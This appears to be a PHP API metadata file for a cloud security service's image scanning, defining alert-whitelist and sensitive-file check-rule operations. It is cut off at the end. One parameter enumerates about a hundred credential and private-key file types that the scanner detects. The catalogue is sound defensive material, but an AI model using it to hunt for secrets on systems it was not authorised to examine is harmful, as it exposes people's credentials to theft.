'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"EventType\\": \\"sensitiveFile\\",\\n \\"Operations\\": [\\n {\\n \\"OperationCode\\": \\"whitelist\\",\\n \\"OperationName\\": \\"whitelist\\",\\n \\"Conditions\\": [\\n {\\n \\"ConditionKey\\": \\"MD5\\",\\n \\"ConditionName\\": \\"MD5\\",\\n \\"SupportedMisType\\": [\\n \\"contains\\"\\n ]\\n }\\n ]\\n }\\n ],\\n \\"Scenarios\\": [\\n \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"repo\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"value\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"test-aaa/shenzhen-repo-01\\\\\\\\\\\\\\"}\\"\\n ]\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"ADE57832-9666-511C-9A80-B87DE2E8****\\"\\n}","type":"json"}]', 'title' => 'DescribeImageEventOperationCondition', ], 'UpdateImageEventOperation' => [ 'summary' => 'Updates an alert handling rule.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '195583', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'title' => '主键id', 'description' => 'The ID of the alert handling rule. '."\n" .'> You can call the [DescribeImageEventOperationPage](~~DescribeImageEventOperationPage~~) operation to query the ID.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '814163', 'docRequired' => true, ], ], [ 'name' => 'Scenarios', 'in' => 'query', 'schema' => [ 'title' => '规则范围', 'description' => 'The application scope of the rule. The value is in the JSON format. Valid values:'."\n" ."\n" .'* **type**'."\n" .'* **value**'."\n", 'type' => 'string', 'required' => false, 'example' => '{\\"type\\": \\"repo\\", \\"value\\": \\"test-aaa/shenzhen-repo-01\\"}', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The source of the whitelist. Valid values:'."\n" ."\n" .'* **image**: image.'."\n" .'* **agentless**: agentless detection.'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], [ 'name' => 'Conditions', 'in' => 'query', 'schema' => [ 'description' => 'The rule conditions. Specify a value in the JSON format. You can specify the following keys:'."\n" ."\n" .'* **condition**: the matching condition.'."\n" .'* **type**: the matching type.'."\n" .'* **value**: the matching value.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{\\"condition\\": \\"MD5\\", \\"type\\": \\"equals\\", \\"value\\": \\"0083a31cc0083a31ccf7c10367a6e****\\"}]'."\n", 'docRequired' => true, ], ], [ 'name' => 'Note', 'in' => 'query', 'schema' => [ 'description' => 'The remarks that you want to add.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The returned result.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'title' => '主键id', 'description' => 'The ID of the alert handling rule, which is the same as the value of the Id request parameter.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '67429', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 67429\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\"\\n}","type":"json"}]', 'title' => 'UpdateImageEventOperation', ], 'DeleteImageEventOperation' => [ 'summary' => 'Deletes an alert handling rule.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'title' => '主键id', 'description' => 'The primary key of the alert handling rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1404656', 'docRequired' => true, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'title' => '主键id', 'description' => 'The primary key of the alert handling rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '443496', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 443496\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C61****\\"\\n}","type":"json"}]', 'title' => 'DeleteImageEventOperation', ], 'SetSensitiveDefineRuleConfig' => [ 'summary' => 'Configure the check rules of sensitive files.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '195349', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'Config', 'in' => 'query', 'schema' => [ 'description' => 'The configurations of the custom check rule. The value is in the JSON format. Valid values of keys:'."\n" ."\n" .'* **classKey**: the category keyword of the check rule.'."\n" .'* **ruleList**: the keyword of the check rule.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{\\"classKey\\": \\"password\\", \\"ruleList\\": [\\"huaweicloud_ak\\", \\"ak_leak\\"]}]', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The source of the check rules. Valid values:'."\n" ."\n" .'* **image**: image.'."\n" .'* **agentless**: agentless detection.'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], [ 'name' => 'EnableNewRule', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable the new ruled for automatic check only on agentless detection. Valid values:'."\n" ."\n" .'* **0**: no.'."\n" .'* **1**: yes.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The custom primary key.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '44616', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF4****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 44616\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF4****\\"\\n}","type":"json"}]', 'title' => 'SetSensitiveDefineRuleConfig', ], 'SetImageSensitiveFileStatus' => [ 'summary' => 'Modifies the status of sensitive files in an image.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '195580', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'SensitiveFileKey', 'in' => 'query', 'schema' => [ 'description' => 'The alert type of the sensitive file. Valid values:'."\n" ."\n" .'* **npm_token**: Node Package Manager (NPM) access token.'."\n" .'* **ftp_cfg**: FTP configuration.'."\n" .'* **google_oauth_key**: Google OAuth key.'."\n" .'* **planetscale_passwd**: PlanetScale password.'."\n" .'* **github_ssh_key**: Github SSH key.'."\n" .'* **msbuild_publish_profile**: MSBuild publish profile.'."\n" .'* **fastly_cdn_token**: Fastly CDN token.'."\n" .'* **ssh_private_key**: SSH private key.'."\n" .'* **aws_cli**: Amazon Web Services (AWS) CLI credential.'."\n" .'* **cpanel_proftpd**: cPanel ProFTPD credential.'."\n" .'* **postgresql_passwd**: PostgreSQL password file.'."\n" .'* **discord_client_cred**: Discord client credential.'."\n" .'* **rails_database**: Rails database configuration.'."\n" .'* **aws_access_key**: AWS access key.'."\n" .'* **esmtp_cfg**: Extended Simple Mail Transfer Protocol (ESMTP) configuration.'."\n" .'* **docker_registry_cfg**: configuration of a Docker image repository.'."\n" .'* **pem**: Privacy-Enhanced Mail (PEM).'."\n" .'* **common_cred**: common credential.'."\n" .'* **sftp_cfg**: Secure File Transfer Protocol (SFTP) connection configuration.'."\n" .'* **grafana_token**: Grafana token.'."\n" .'* **slack_token**: Slack token.'."\n" .'* **ec_private_key**: Elliptic Curve (EC) private key.'."\n" .'* **pypi_token**: upload token for the Python Package Index (PyPI).'."\n" .'* **finicity_token**: Finicity token.'."\n" .'* **k8s_client_key**: private key for the Kubernetes client.'."\n" .'* **git_cfg**: Git configuration.'."\n" .'* **django_key**: Django key.'."\n" .'* **jenkins_ssh**: Jenkins SSH configuration file.'."\n" .'* **openssh_private_key**: OpenSSL private key.'."\n" .'* **square_oauth**: OAuth credential for Square.'."\n" .'* **typeform_token**: Typeform token.'."\n" .'* **common_database_cfg**: general database connection configuration.'."\n" .'* **wordpress_database_cfg**: WordPress database configuration.'."\n" .'* **googlecloud_api_key**: API key for Google Cloud.'."\n" .'* **vscode_sftp**: VSCode SFTP configuration.'."\n" .'* **apache_htpasswd**: Apache htpasswd.'."\n" .'* **planetscale_token**: PlanetScale token.'."\n" .'* **contentful_preview_token**: preview token for Contentful.'."\n" .'* **php_database_cfg**: database password for a PHP application.'."\n" .'* **atom_remote_sync**: Atom remote synchronization configuration.'."\n" .'* **aws_session_token**: AWS session token.'."\n" .'* **atom_sftp_cfg**: Atom SFTP configuration.'."\n" .'* **asana_client_private_key**: private key for the Asana client.'."\n" .'* **tencentcloud_ak**: secret ID of a third-party cloud.'."\n" .'* **rsa_private_key**: Rivest-Shamir-Adleman (RSA) private key.'."\n" .'* **github_personal_token**: personal access token for GitHub.'."\n" .'* **pgp**: Pretty Good Privacy (PGP) encrypted file.'."\n" .'* **stripe_skpk**: Stripe secret key.'."\n" .'* **square_token**: Square access token.'."\n" .'* **rails_carrierwave**: file upload credential for Rails Carrierwave.'."\n" .'* **dbeaver_database_cfg**: DBeaver database configuration.'."\n" .'* **robomongo_cred**: RoboMongo credential.'."\n" .'* **github_oauth_token**: OAuth access token for GitHub.'."\n" .'* **pulumi_token**: Pulumi token.'."\n" .'* **ventrilo_voip**: Ventrilo VoIP server configuration.'."\n" .'* **macos_keychain**: macOS keychain.'."\n" .'* **amazon_mws_token**: Amazon MWS token.'."\n" .'* **dynatrace_token**: Dynatrace token.'."\n" .'* **java_keystore**: Java KeyStore (JKS).'."\n" .'* **microsoft_sdf**: Microsoft SQL Server Compact Edition (CE) database.'."\n" .'* **kubernetes_dashboard_cred**: user credential for Kubernetes Dashboard.'."\n" .'* **atlassian_token**: Atlassian token.'."\n" .'* **rdp**: remote desktop protocol (RDP).'."\n" .'* **mailgun_key**: Mailgun webhook signing key.'."\n" .'* **mailchimp_api_key**: API key for Mailchimp.'."\n" .'* **netrc_cfg**: .netrc configuration file.'."\n" .'* **openvpn_cfg**: configuration of the OpenVPN client.'."\n" .'* **github_refresh_token**: GitHub refresh token.'."\n" .'* **salesforce**: Salesforce credential.'."\n" .'* **salesforce**: Sendinblue token.'."\n" .'* **pkcs_private_key**: PKCS#12 key.'."\n" .'* **rubyonrails_passwd**: Ruby on Rails password file.'."\n" .'* **filezilla_ftp**: FileZilla FTP configuration.'."\n" .'* **databricks_token**: Databricks token.'."\n" .'* **gitLab_personal_toke**: personal access token for GitLab.'."\n" .'* **rails_master_key**: Rails master key.'."\n" .'* **sqlite**: SQLite3 or SQLite database.'."\n" .'* **firefox_logins**: Firefox logon configuration.'."\n" .'* **mailgun_private_token**: Mailgun private token.'."\n" .'* **joomla_cfg**: Joomla configuration.'."\n" .'* **hashicorp_terraform_token**: HashiCorp Terraform token.'."\n" .'* **jetbrains_ides**: JetBrains IDEs configuration.'."\n" .'* **heroku_api_key**: Heroku API key.'."\n" .'* **messagebird_token**: MessageBird token.'."\n" .'* **github_app_token**: Github app token.'."\n" .'* **hashicorp_vault_token**: HashiCorp Vault token.'."\n" .'* **pgp_private_key**: PGP private key.'."\n" .'* **sshpasswd**: SSH password.'."\n" .'* **huaweicloud_ak**: secret access key of a third-party cloud.'."\n" .'* **aws_s3cmd**: AWS S3cmd configuration.'."\n" .'* **php_config**: PHP configuration.'."\n" .'* **common_private_key**: common private key.'."\n" .'* **microsoft_mdf**: Microsoft SQL Server database.'."\n" .'* **mediawiki_cfg**: MediaWiki configuration.'."\n" .'* **jenkins_cred**: Jenkins credential.'."\n" .'* **rubygems_cred**: RubyGems credential.'."\n" .'* **clojars_token**: Clojars token.'."\n" .'* **phoenix_web_passwd**: Phoenix web credential.'."\n" .'* **puttygen_private_key**: PuTTYgen private key.'."\n" .'* **google_oauth_token**: Google OAuth access token.'."\n" .'* **rubyonrails_cfg**: Ruby On Rails database configuration.'."\n" .'* **lob_api_key**: Lob API key.'."\n" .'* **pkcs_cred**: PKCS#12 certificate.'."\n" .'* **otr_private_key**: Off-the-Record Messaging (OTR) private key.'."\n" .'* **contentful_delivery_token**: Contentful delivery token.'."\n" .'* **digital_ocean_tugboat**: DigitalOcean Tugboat configuration.'."\n" .'* **dsa_private_key**: Digital Signature Algorithm (DSA) private key.'."\n" .'* **rails_app_token**: Rails app token.'."\n" .'* **git_cred**: Git user credential.'."\n" .'* **newrelic_api_key**: User API key for New Relic.'."\n" .'* **github_hub**: hub configuration for storing GitHub tokens.'."\n" .'* **rubygem**: RubyGem token.'."\n", 'type' => 'string', 'required' => false, 'example' => 'pem', ], ], [ 'name' => 'ImageUuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the image. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'f382fccd88b94c5c8c864def6815b854,ac32fccd88b94c5c8c864def6815bo9z', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the sensitive file. Valid values:'."\n" ."\n" .'* **0**: The sensitive file is not handled.'."\n" .'* **1**: The sensitive file is added to a whitelist.'."\n" .'* **2**: The sensitive file is reported by mistake.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The types of the assets that are scanned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the asset that is scanned. Valid values:'."\n" ."\n" .'* **image**.'."\n" .'* **agentless_image**: the image of the host.'."\n" .'* **agentless_snapshot**: the snapshot of the host.'."\n" .'* **ecs_image**.'."\n" .'* **ecs_snapshot**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'image', ], 'required' => false, ], ], [ 'name' => 'IdList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the sensitive files.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the sensitive file.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The primary key ID of the database.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '18551', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '20456DD5-5CBF-5015-9173-12CA4246****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 18551\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246****\\"\\n}","type":"json"}]', 'title' => 'SetImageSensitiveFileStatus', ], 'AddImageEventOperation' => [ 'summary' => 'Creates an alert handling rule.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '195582', 'abilityTreeNodes' => [ 'FEATUREsas731ZAS', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'EventType', 'in' => 'query', 'schema' => [ 'title' => '告警类型', 'description' => 'The alert type.'."\n" ."\n" .'* Set the value to **sensitiveFile**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sensitiveFile', 'docRequired' => true, ], ], [ 'name' => 'OperationCode', 'in' => 'query', 'schema' => [ 'title' => '操作类型', 'description' => 'The operation code.'."\n" ."\n" .'* Set the value to **whitelist** to add the alert item to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'whitelist', 'docRequired' => true, ], ], [ 'name' => 'Conditions', 'in' => 'query', 'schema' => [ 'title' => '规则条件', 'description' => 'The rule conditions. The value is in the JSON format. Valid values of keys:'."\n" ."\n" .'* **condition**: the matching condition.'."\n" .'* **type**: the matching type.'."\n" .'* **value**: the matching value.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{\\"condition\\": \\"MD5\\", \\"type\\": \\"equals\\", \\"value\\": \\"0083a31cc0083a31ccf7c10367a6e783e\\"}]'."\n", 'docRequired' => true, ], ], [ 'name' => 'Scenarios', 'in' => 'query', 'schema' => [ 'title' => '规则范围', 'description' => 'The application scope of the rule. The value is in the JSON format. Valid values of keys:'."\n" ."\n" .'* **type**'."\n" .'* **value**'."\n", 'type' => 'string', 'required' => false, 'example' => '{\\"type\\": \\"repo\\", \\"value\\": \\"test-aaa/shenzhen-repo-01\\"}'."\n", ], ], [ 'name' => 'EventKey', 'in' => 'query', 'schema' => [ 'title' => '告警项关键字', 'description' => 'The keyword of the alert item.'."\n", 'type' => 'string', 'required' => false, 'example' => 'PEM', ], ], [ 'name' => 'EventName', 'in' => 'query', 'schema' => [ 'title' => '告警项名称', 'description' => 'The name of the alert item.'."\n", 'type' => 'string', 'required' => false, 'example' => 'PEM', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The source of the whitelist. Valid values:'."\n" ."\n" .'* **image**: image.'."\n" .'* **agentless**: agentless detection.'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], [ 'name' => 'Note', 'in' => 'query', 'schema' => [ 'description' => 'The remarks that you want to add.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'title' => '主键id', 'description' => 'The primary key of the alert handling rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '443496', ], 'EventType' => [ 'title' => '告警类型', 'description' => 'The alert type.'."\n" ."\n" .'* Only **sensitiveFile** may be returned.'."\n", 'type' => 'string', 'example' => 'sensitiveFile', ], 'OperationCode' => [ 'title' => '操作类型', 'description' => 'The operation code.'."\n" ."\n" .'* Only **whitelist** may be returned, which indicates that the alert item is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'whitelist', ], 'Conditions' => [ 'title' => '规则条件', 'description' => 'The rule conditions. The value is in the JSON format. Valid values of keys:'."\n" ."\n" .'* **condition**: the matching condition.'."\n" .'* **type**: the matching type.'."\n" .'* **value**: the matching value.'."\n", 'type' => 'string', 'example' => '[{\\"condition\\": \\"MD5\\", \\"type\\": \\"equals\\", \\"value\\": \\"0083a31cc0083a31ccf7c10367a6e783e\\"}]'."\n", ], 'Scenarios' => [ 'title' => '规则范围', 'description' => 'The application scope of the rule. The value is in the JSON format. Valid values of keys:'."\n" ."\n" .'* **type**'."\n" .'* **value**'."\n", 'type' => 'string', 'example' => '{\\"type\\": \\"repo\\", \\"value\\": \\"test-aaa/shenzhen-repo-01\\"}'."\n", ], 'EventKey' => [ 'title' => '告警项关键字', 'description' => 'The keyword of the alert item.'."\n", 'type' => 'string', 'example' => 'PEM', ], 'EventName' => [ 'title' => '告警项名称', 'description' => 'The name of the alert item.'."\n", 'type' => 'string', 'example' => 'PEM', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '0C8487EF-50C2-54BB-8634-10F8C35D****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 443496,\\n \\"EventType\\": \\"sensitiveFile\\",\\n \\"OperationCode\\": \\"whitelist\\",\\n \\"Conditions\\": \\"[{\\\\\\\\\\\\\\"condition\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"MD5\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"type\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"equals\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"value\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"0083a31cc0083a31ccf7c10367a6e783e\\\\\\\\\\\\\\"}]\\\\n\\",\\n \\"Scenarios\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"repo\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"value\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"test-aaa/shenzhen-repo-01\\\\\\\\\\\\\\"}\\\\n\\",\\n \\"EventKey\\": \\"PEM\\",\\n \\"EventName\\": \\"PEM\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"0C8487EF-50C2-54BB-8634-10F8C35D****\\"\\n}","type":"json"}]', 'title' => 'AddImageEventOperation', ], 'GetSensitiveDefineRuleConfig' => [ 'summary' => 'Queries the check rules of sensitive files.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '195348', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The source of the check rules. Valid values:'."\n" ."\n" .'* **image**: image.'."\n" .'* **agentless**: agentless detection.'."\n", 'type' => 'string', 'required' => false, 'example' => 'image', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The results returned.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The custom configuration ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '44616', ], 'RuleCount' => [ 'description' => 'The total number of check rules.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'SelectedCount' => [ 'description' => 'The number of selected check rules.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '99', ], 'RuleTree' => [ 'description' => 'The tree of the check rules.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ClassKey' => [ 'description' => 'The category keyword of the check rule.'."\n", 'type' => 'string', 'example' => 'password', ], 'ClassName' => [ 'description' => 'The category name of the check rule.'."\n", 'type' => 'string', 'example' => 'password', ], 'RuleList' => [ 'description' => 'The list of check rules.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'RuleKey' => [ 'description' => 'The keyword of the check rule.'."\n", 'type' => 'string', 'example' => 'huaweicloud_ak', ], 'RuleName' => [ 'description' => 'The name of the check rule.'."\n", 'type' => 'string', 'example' => 'huaweicloud_ak', ], 'Selected' => [ 'description' => 'Indicates whether the check rule is selected. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], ], ], 'EnableNewRule' => [ 'description' => 'Indicates whether the new rule is enabled for automatic check only on agentless detection. Valid values:'."\n" ."\n" .'* **0**: disabled.'."\n" .'* **1**: enabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 44616,\\n \\"RuleCount\\": 100,\\n \\"SelectedCount\\": 99,\\n \\"RuleTree\\": [\\n 